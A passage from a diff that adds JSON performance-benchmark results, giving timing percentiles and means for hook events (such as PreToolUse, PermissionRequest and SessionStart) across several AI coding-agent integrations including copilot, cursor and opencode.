"e2eMean": 67.71, + "e2eStddev": 5.44, + "e2eMin": 62.95, + "e2eMax": 102.69 + }, + "copilot|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.9, + 65.7, + 70.52 + ], + "configLoad": [ + 3.99, + 7.62, + 38.69 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.36 + ], + "other": [ + 1.54, + 1.92, + 4.1 + ], + "e2e": [ + 66.53, + 71.73, + 105.61 + ] + }, + "e2eMean": 67.47, + "e2eStddev": 6.16, + "e2eMin": 60.3, + "e2eMax": 105.61 + }, + "copilot|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.87, + 67.02, + 72.11 + ], + "configLoad": [ + 4.09, + 7.41, + 38.23 + ], + "evaluate": [ + 0.14, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 1.55, + 1.81, + 4.15 + ], + "e2e": [ + 66.16, + 73.4, + 103.42 + ] + }, + "e2eMean": 67.63, + "e2eStddev": 6.16, + "e2eMin": 61.54, + "e2eMax": 103.42 + }, + "copilot|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.57, + 65.87, + 66.33 + ], + "configLoad": [ + 3.94, + 7.27, + 8.46 + ], + "evaluate": [ + 0.14, + 0.17, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.62, + 1.76, + 1.9 + ], + "e2e": [ + 66.33, + 72.28, + 75.64 + ] + }, + "e2eMean": 66.6, + "e2eStddev": 3, + "e2eMin": 61.56, + "e2eMax": 75.64 + }, + "copilot|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.51, + 66.2, + 67.38 + ], + "configLoad": [ + 4.07, + 7.35, + 29 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.55, + 1.81, + 1.86 + ], + "e2e": [ + 66.91, + 73.12, + 91.76 + ] + }, + "e2eMean": 67.43, + "e2eStddev": 4.61, + "e2eMin": 61.63, + "e2eMax": 91.76 + }, + "copilot|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.4, + 63.32, + 65.23 + ], + "configLoad": [ + 4.1, + 8.07, + 38.61 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.54, + 1.78, + 2.97 + ], + "e2e": [ + 66.62, + 71.89, + 104.1 + ] + }, + "e2eMean": 68.37, + "e2eStddev": 7.2, + "e2eMin": 62.33, + "e2eMax": 104.1 + }, + "copilot|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.71, + 65.92, + 69.19 + ], + "configLoad": [ + 4.03, + 4.82, + 7.02 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.57, + 1.79, + 1.87 + ], + "e2e": [ + 66.8, + 72.17, + 75.14 + ] + }, + "e2eMean": 67.03, + "e2eStddev": 2.86, + "e2eMin": 61.62, + "e2eMax": 75.14 + }, + "copilot|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.2, + 65.45, + 66.76 + ], + "configLoad": [ + 3.98, + 7.1, + 37.98 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.57, + 1.75, + 3 + ], + "e2e": [ + 66.61, + 71.91, + 99.98 + ] + }, + "e2eMean": 67.29, + "e2eStddev": 5.42, + "e2eMin": 62.21, + "e2eMax": 99.98 + }, + "copilot|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.71, + 67.01, + 67.89 + ], + "configLoad": [ + 3.99, + 5.31, + 8.34 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.54, + 1.73, + 1.85 + ], + "e2e": [ + 66.07, + 72.87, + 73.82 + ] + }, + "e2eMean": 66.72, + "e2eStddev": 2.95, + "e2eMin": 62.75, + "e2eMax": 73.82 + }, + "copilot|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.23, + 65.9, + 67.12 + ], + "configLoad": [ + 4.1, + 7.37, + 7.68 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.59, + 1.73, + 1.86 + ], + "e2e": [ + 66.75, + 71.88, + 73.13 + ] + }, + "e2eMean": 66.71, + "e2eStddev": 2.82, + "e2eMin": 61.39, + "e2eMax": 73.13 + }, + "copilot|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60, + 64.68, + 65.44 + ], + "configLoad": [ + 3.94, + 4.57, + 7.3 + ], + "evaluate": [ + 0.14, + 0.15, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.61, + 1.8, + 1.91 + ], + "e2e": [ + 65.9, + 70.75, + 71.04 + ] + }, + "e2eMean": 66.75, + "e2eStddev": 2.53, + "e2eMin": 61.59, + "e2eMax": 71.04 + }, + "copilot|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.75, + 64.91, + 65.25 + ], + "configLoad": [ + 4, + 4.67, + 38.3 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.29, + 0.31 + ], + "other": [ + 1.6, + 1.77, + 3.52 + ], + "e2e": [ + 67.71, + 70.75, + 106.68 + ] + }, + "e2eMean": 68.02, + "e2eStddev": 6.07, + "e2eMin": 61.77, + "e2eMax": 106.68 + }, + "copilot|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.38, + 65.51, + 69.05 + ], + "configLoad": [ + 4.03, + 7.83, + 37.97 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.41 + ], + "other": [ + 1.58, + 1.84, + 2.87 + ], + "e2e": [ + 67.53, + 72.63, + 104.47 + ] + }, + "e2eMean": 68.23, + "e2eStddev": 5.86, + "e2eMin": 61.5, + "e2eMax": 104.47 + }, + "copilot|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.33, + 64.83, + 66.88 + ], + "configLoad": [ + 3.99, + 7.11, + 7.45 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.59, + 1.8, + 1.83 + ], + "e2e": [ + 66.66, + 71, + 72.78 + ] + }, + "e2eMean": 66.59, + "e2eStddev": 2.4, + "e2eMin": 62.34, + "e2eMax": 72.78 + }, + "cursor|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.94, + 64.31, + 66.58 + ], + "configLoad": [ + 3.97, + 7.12, + 31.98 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.57, + 1.81, + 1.82 + ], + "e2e": [ + 66.01, + 72.52, + 98.51 + ] + }, + "e2eMean": 66.76, + "e2eStddev": 5.27, + "e2eMin": 61.93, + "e2eMax": 98.51 + }, + "cursor|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.14, + 67.1, + 67.86 + ], + "configLoad": [ + 4, + 7.47, + 38.61 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.59, + 1.85, + 3.8 + ], + "e2e": [ + 67.7, + 73.44, + 99.56 + ] + }, + "e2eMean": 68.03, + "e2eStddev": 5.25, + "e2eMin": 61.96, + "e2eMax": 99.56 + }, + "cursor|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.58, + 65.65, + 71.14 + ], + "configLoad": [ + 3.98, + 7.45, + 38.86 + ], + "evaluate": [ + 0.14, + 0.15, + 0.15 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.56, + 1.94, + 4.12 + ], + "e2e": [ + 66.53, + 76.74, + 104.24 + ] + }, + "e2eMean": 67.79, + "e2eStddev": 7.67, + "e2eMin": 61.54, + "e2eMax": 104.24 + }, + "cursor|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 60.42, + 64.73, + 68.48 + ], + "configLoad": [ + 4.01, + 7.45, + 39.03 + ], + "evaluate": [ + 1.11, + 1.17, + 1.22 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.63, + 2.83, + 3.99 + ], + "e2e": [ + 68.44, + 73.59, + 106.29 + ] + }, + "e2eMean": 68.71, + "e2eStddev": 6.06, + "e2eMin": 62.86, + "e2eMax": 106.29 + }, + "cursor|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 60, + 65.15, + 66.33 + ], + "configLoad": [ + 3.95, + 7.92, + 38.51 + ], + "evaluate": [ + 0.28, + 0.32, + 0.33 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.8, + 3.77 + ], + "e2e": [ + 66.3, + 72.22, + 103.05 + ] + }, + "e2eMean": 67.58, + "e2eStddev": 5.7, + "e2eMin": 61.87, + "e2eMax": 103.05 + }, + "cursor|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.06, + 65.89, + 68.03 + ], + "configLoad": [ + 3.97, + 7.73, + 38.56 + ], + "evaluate": [ + 0.14, + 0.15, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.37 + ], + "other": [ + 1.6, + 1.78, + 3.97 + ], + "e2e": [ + 66.3, + 71.82, + 102.11 + ] + }, + "e2eMean": 67.26, + "e2eStddev": 5.79, + "e2eMin": 61.81, + "e2eMax": 102.11 + }, + "cursor|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 59.98, + 66.36, + 66.83 + ], + "configLoad": [ + 3.92, + 7.2, + 38.41 + ], + "evaluate": [ + 0.64, + 0.7, + 0.73 + ], + "encode": [ + 0.26, + 0.28, + 0.28 + ], + "other": [ + 1.54, + 1.76, + 3.5 + ], + "e2e": [ + 66.64, + 72.57, + 100.42 + ] + }, + "e2eMean": 67.75, + "e2eStddev": 5.51, + "e2eMin": 62.22, + "e2eMax": 100.42 + }, + "cursor|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.4, + 65.83, + 69.62 + ], + "configLoad": [ + 4.11, + 7.16, + 8.09 + ], + "evaluate": [ + 0.14, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 1.57, + 1.87, + 1.93 + ], + "e2e": [ + 66.78, + 72.18, + 75.39 + ] + }, + "e2eMean": 67.18, + "e2eStddev": 2.68, + "e2eMin": 62.22, + "e2eMax": 75.39 + }, + "cursor|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.56, + 64.94, + 66.37 + ], + "configLoad": [ + 4.11, + 7.35, + 7.69 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.8, + 1.84 + ], + "e2e": [ + 66.76, + 72.19, + 74.07 + ] + }, + "e2eMean": 67.22, + "e2eStddev": 2.77, + "e2eMin": 62.74, + "e2eMax": 74.07 + }, + "cursor|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.98, + 64.35, + 65.58 + ], + "configLoad": [ + 4.06, + 7.18, + 8.11 + ], + "evaluate": [ + 0.14, + 0.15, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.59, + 1.84, + 1.87 + ], + "e2e": [ + 67.05, + 71.37, + 72.35 + ] + }, + "e2eMean": 66.72, + "e2eStddev": 2.71, + "e2eMin": 61.4, + "e2eMax": 72.35 + }, + "cursor|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.4, + 64.28, + 64.36 + ], + "configLoad": [ + 4.07, + 7.52, + 11.33 + ], + "evaluate": [ + 0.14, + 0.16, + 0.32 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.62, + 1.8, + 1.84 + ], + "e2e": [ + 67.06, + 70.46, + 70.99 + ] + }, + "e2eMean": 66.82, + "e2eStddev": 2.22, + "e2eMin": 62.29, + "e2eMax": 70.99 + }, + "cursor|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.81, + 66, + 73.38 + ], + "configLoad": [ + 4, + 4.53, + 7.5 + ], + "evaluate": [ + 0.14, + 0.15, + 0.15 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 1.54, + 1.8, + 1.94 + ], + "e2e": [ + 66.87, + 72.15, + 79.22 + ] + }, + "e2eMean": 67.63, + "e2eStddev": 3.07, + "e2eMin": 62.53, + "e2eMax": 79.22 + }, + "cursor|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.73, + 65.92, + 67.35 + ], + "configLoad": [ + 4.17, + 4.9, + 8.03 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.61, + 1.87, + 1.98 + ], + "e2e": [ + 67.46, + 72.7, + 72.98 + ] + }, + "e2eMean": 67.25, + "e2eStddev": 2.89, + "e2eMin": 61.52, + "e2eMax": 72.98 + }, + "cursor|Stop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.06, + 64.98, + 68.19 + ], + "configLoad": [ + 4.06, + 7.36, + 8.1 + ], + "evaluate": [ + 0.15, + 0.16, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 1.57, + 1.8, + 3.74 + ], + "e2e": [ + 67.46, + 71.77, + 73.19 + ] + }, + "e2eMean": 67.37, + "e2eStddev": 2.5, + "e2eMin": 61.87, + "e2eMax": 73.19 + }, + "cursor|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.86, + 65.42, + 68.94 + ], + "configLoad": [ + 3.99, + 7.15, + 11.08 + ], + "evaluate": [ + 0.14, + 0.15, + 0.15 + ], + "encode": [ + 0.25, + 0.26, + 0.34 + ], + "other": [ + 1.62, + 1.8, + 1.94 + ], + "e2e": [ + 66.73, + 71.63, + 74.85 + ] + }, + "e2eMean": 66.72, + "e2eStddev": 2.9, + "e2eMin": 61.81, + "e2eMax": 74.85 + }, + "cursor|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.14, + 63.53, + 65.42 + ], + "configLoad": [ + 4.08, + 5.01, + 7.72 + ], + "evaluate": [ + 0.14, + 0.16, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.41 + ], + "other": [ + 1.6, + 1.86, + 3.32 + ], + "e2e": [ + 66.37, + 69.97, + 71.65 + ] + }, + "e2eMean": 66.48, + "e2eStddev": 2.35, + "e2eMin": 61.14, + "e2eMax": 71.65 + }, + "cursor|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.03, + 64.76, + 67.6 + ], + "configLoad": [ + 4.07, + 7.21, + 7.46 + ], + "evaluate": [ + 0.14, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.29 + ], + "other": [ + 1.61, + 1.82, + 1.91 + ], + "e2e": [ + 66.33, + 71.49, + 73.55 + ] + }, + "e2eMean": 66.77, + "e2eStddev": 2.6, + "e2eMin": 61.38, + "e2eMax": 73.55 + }, + "cursor|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.95, + 64.81, + 66.53 + ], + "configLoad": [ + 4.08, + 6.63, + 8.22 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.57, + 1.79, + 1.83 + ], + "e2e": [ + 65.86, + 70.68, + 72.48 + ] + }, + "e2eMean": 66.3, + "e2eStddev": 2.35, + "e2eMin": 61.82, + "e2eMax": 72.48 + }, + "cursor|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.85, + 64.83, + 66.28 + ], + "configLoad": [ + 4.01, + 7.14, + 7.41 + ], + "evaluate": [ + 0.14, + 0.16, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.32 + ], + "other": [ + 1.58, + 1.78, + 1.83 + ], + "e2e": [ + 66.48, + 70.67, + 71.5 + ] + }, + "e2eMean": 66.42, + "e2eStddev": 2.39, + "e2eMin": 60.66, + "e2eMax": 71.5 + }, + "cursor|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.47, + 65.15, + 68.58 + ], + "configLoad": [ + 4.05, + 7.36, + 11.02 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.62, + 1.89, + 3.81 + ], + "e2e": [ + 66.95, + 71.23, + 77.88 + ] + }, + "e2eMean": 66.83, + "e2eStddev": 3.13, + "e2eMin": 61.04, + "e2eMax": 77.88 + }, + "cursor|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.43, + 66.24, + 69.15 + ], + "configLoad": [ + 4.08, + 7.27, + 7.81 + ], + "evaluate": [ + 0.14, + 0.15, + 0.17 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 1.62, + 1.78, + 1.82 + ], + "e2e": [ + 66.46, + 72.79, + 74.99 + ] + }, + "e2eMean": 67.04, + "e2eStddev": 2.97, + "e2eMin": 61.38, + "e2eMax": 74.99 + }, + "cursor|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.21, + 64.72, + 65.05 + ], + "configLoad": [ + 4.1, + 4.74, + 7.52 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.58, + 1.85, + 1.92 + ], + "e2e": [ + 67.38, + 70.81, + 71.53 + ] + }, + "e2eMean": 67.07, + "e2eStddev": 2.25, + "e2eMin": 62.36, + "e2eMax": 71.53 + }, + "cursor|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.58, + 64.27, + 67.87 + ], + "configLoad": [ + 4.01, + 5.13, + 8.2 + ], + "evaluate": [ + 0.14, + 0.16, + 0.26 + ], + "encode": [ + 0.25, + 0.27, + 0.41 + ], + "other": [ + 1.59, + 1.76, + 1.81 + ], + "e2e": [ + 66.72, + 70.65, + 73.86 + ] + }, + "e2eMean": 66.6, + "e2eStddev": 2.43, + "e2eMin": 61.59, + "e2eMax": 73.86 + }, + "cursor|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60, + 65.88, + 70.88 + ], + "configLoad": [ + 4.03, + 7.46, + 7.67 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.77, + 1.81 + ], + "e2e": [ + 66.93, + 71.75, + 77.26 + ] + }, + "e2eMean": 67.23, + "e2eStddev": 2.97, + "e2eMin": 61.44, + "e2eMax": 77.26 + }, + "cursor|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.11, + 64.4, + 68.65 + ], + "configLoad": [ + 4.12, + 6.91, + 7.07 + ], + "evaluate": [ + 0.14, + 0.15, + 0.15 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.6, + 1.81, + 1.89 + ], + "e2e": [ + 67.58, + 71.05, + 75.02 + ] + }, + "e2eMean": 67.49, + "e2eStddev": 2.17, + "e2eMin": 63.02, + "e2eMax": 75.02 + }, + "cursor|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.63, + 65.01, + 68.17 + ], + "configLoad": [ + 4.15, + 7.49, + 7.89 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.58, + 1.8, + 1.84 + ], + "e2e": [ + 66.98, + 71.21, + 74.63 + ] + }, + "e2eMean": 66.74, + "e2eStddev": 2.82, + "e2eMin": 60.86, + "e2eMax": 74.63 + }, + "cursor|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 61.13, + 68.42, + 71.59 + ], + "configLoad": [ + 4.02, + 7.12, + 7.7 + ], + "evaluate": [ + 0.14, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.57, + 1.83, + 1.86 + ], + "e2e": [ + 67.68, + 74.35, + 77.66 + ] + }, + "e2eMean": 67.66, + "e2eStddev": 3.35, + "e2eMin": 61.25, + "e2eMax": 77.66 + }, + "cursor|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.09, + 66.76, + 68.19 + ], + "configLoad": [ + 3.93, + 4.66, + 7.25 + ], + "evaluate": [ + 0.14, + 0.17, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.63, + 1.88, + 1.97 + ], + "e2e": [ + 66.24, + 73.06, + 74.59 + ] + }, + "e2eMean": 66.57, + "e2eStddev": 2.7, + "e2eMin": 60.72, + "e2eMax": 74.59 + }, + "cursor|Setup": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.34, + 65.17, + 66.52 + ], + "configLoad": [ + 4.05, + 7.29, + 8.09 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.6, + 1.81, + 3.53 + ], + "e2e": [ + 67.03, + 71, + 72.63 + ] + }, + "e2eMean": 67.19, + "e2eStddev": 2.67, + "e2eMin": 61.7, + "e2eMax": 72.63 + }, + "opencode|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.43, + 63.31, + 67.29 + ], + "configLoad": [ + 4.12, + 7.31, + 7.91 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.6, + 1.79, + 3.74 + ], + "e2e": [ + 66.81, + 70.08, + 73.31 + ] + }, + "e2eMean": 66.91, + "e2eStddev": 2.07, + "e2eMin": 61.89, + "e2eMax": 73.31 + }, + "opencode|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.94, + 66.29, + 68.6 + ], + "configLoad": [ + 4.05, + 7.2, + 7.56 + ], + "evaluate": [ + 0.14, + 0.15, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.6, + 1.76, + 1.87 + ], + "e2e": [ + 67.15, + 72.33, + 74.18 + ] + }, + "e2eMean": 67.33, + "e2eStddev": 2.35, + "e2eMin": 62.61, + "e2eMax": 74.18 + }, + "opencode|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.21, + 65.39, + 69.47 + ], + "configLoad": [ + 4, + 4.89, + 8.16 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.41 + ], + "other": [ + 1.6, + 1.82, + 1.88 + ], + "e2e": [ + 66.28, + 71.34, + 75.36 + ] + }, + "e2eMean": 66.8, + "e2eStddev": 2.55, + "e2eMin": 61, + "e2eMax": 75.36 + }, + "opencode|PreToolUse": { + "n": 50, + "matched": 7, + "customHooks": 1, + "phases": { + "spawn": [ + 59.68, + 66.11, + 71.66 + ], + "configLoad": [ + 4, + 7.99, + 8.08 + ], + "evaluate": [ + 1.12, + 1.19, + 1.31 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.61, + 1.92, + 4 + ], + "e2e": [ + 67.29, + 74.02, + 78.53 + ] + }, + "e2eMean": 67.82, + "e2eStddev": 3.06, + "e2eMin": 62.45, + "e2eMax": 78.53 + }, + "opencode|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 1, + "phases": { + "spawn": [ + 60.55, + 65.12, + 65.58 + ], + "configLoad": [ + 4.01, + 7.13, + 8.84 + ], + "evaluate": [ + 0.28, + 0.3, + 0.32 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.62, + 1.82, + 1.86 + ], + "e2e": [ + 67.53, + 71.28, + 71.85 + ] + }, + "e2eMean": 67.31, + "e2eStddev": 2.2, + "e2eMin": 61.92, + "e2eMax": 71.85 + }, + "opencode|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.25, + 64, + 75.98 + ], + "configLoad": [ + 4.06, + 7.3, + 7.57 + ], + "evaluate": [ + 0.14, + 0.15, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 1.62, + 1.78, + 1.89 + ], + "e2e": [ + 66.95, + 71.49, + 81.71 + ] + }, + "e2eMean": 66.95, + "e2eStddev": 3.17, + "e2eMin": 60.69, + "e2eMax": 81.71 + }, + "opencode|PostToolUse": { + "n": 50, + "matched": 6, + "customHooks": 1, + "phases": { + "spawn": [ + 61.58, + 65.93, + 69.54 + ], + "configLoad": [ + 4, + 6.9, + 7.34 + ], + "evaluate": [ + 0.64, + 0.69, + 0.71 + ], + "encode": [ + 0.26, + 0.28, + 0.28 + ], + "other": [ + 1.58, + 1.8, + 3.87 + ], + "e2e": [ + 68.4, + 72.89, + 75.96 + ] + }, + "e2eMean": 67.82, + "e2eStddev": 2.84, + "e2eMin": 62.61, + "e2eMax": 75.96 + }, + "opencode|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.62, + 64.38, + 71.04 + ], + "configLoad": [ + 4.09, + 7.39, + 7.76 + ], + "evaluate": [ + 0.14, + 0.15, + 0.17 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 1.6, + 1.82, + 1.94 + ], + "e2e": [ + 66.06, + 70.69, + 76.67 + ] + }, + "e2eMean": 66.42, + "e2eStddev": 2.7, + "e2eMin": 60.66, + "e2eMax": 76.67 + }, + "opencode|Notification": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.69, + 66.43, + 70.57 + ], + "configLoad": [ + 4.09, + 4.55, + 7.68 + ], + "evaluate": [ + 0.14, + 0.16, + 0.16 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 1.59, + 1.74, + 1.87 + ], + "e2e": [ + 66.25, + 72.27, + 76.8 + ] + }, + "e2eMean": 66.87, + "e2eStddev": 3.19, + "e2eMin": 61.74, + "e2eMax": 76.8 + }, + "opencode|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 59.89, + 65.79, + 69.61 + ], + "configLoad": [ + 4.04, + 7.19, + 7.36 + ], + "evaluate": [ + 0.15, + 0.16, + 0.17 + ], + "encode": [ + 0.25, + 0.29, + 0.43 + ], + "other": [ + 1.58, + 1.83, + 1.91 + ], + "e2e": [ + 66.16, + 71.57, + 75.72 + ] + }, + "e2eMean": 66.75, + "e2eStddev": 2.85, + "e2eMin": 61.36, + "e2eMax": 75.72 + }, + "opencode|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.9, + 65.03, + 70.53 + ], + "configLoad": [ + 4.01, + 5.08, + 8.13 + ], + "evaluate": [ + 0.14, + 0.16, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.41 + ], + "other": [ + 1.56, + 1.85, + 2.01 + ], + "e2e": [ + 67.06, + 71.16, + 76.11 + ] + }, + "e2eMean": 66.73, + "e2eStddev": 3.13, + "e2eMin": 61.64, + "e2eMax": 76.11 + }, + "opencode|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 1, + "phases": { + "spawn": [ + 60.65, + 64.92, + 70.69 + ], + "configLoad": [ + 3.97, + 6.96, + 7.69 + ], + "evaluate": [ + 0.15, + 0.16, + 0.24 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 1.52, + 1.73, + 1.84 + ], + "e2e": [ + 66.8, + 70.96, + 77.13 + ] + }, + "e2eMean": 67.13, + "e2eStddev": 2.69, + "e2eMin": 62.33, + "e2eMax": 77.13 + }, + 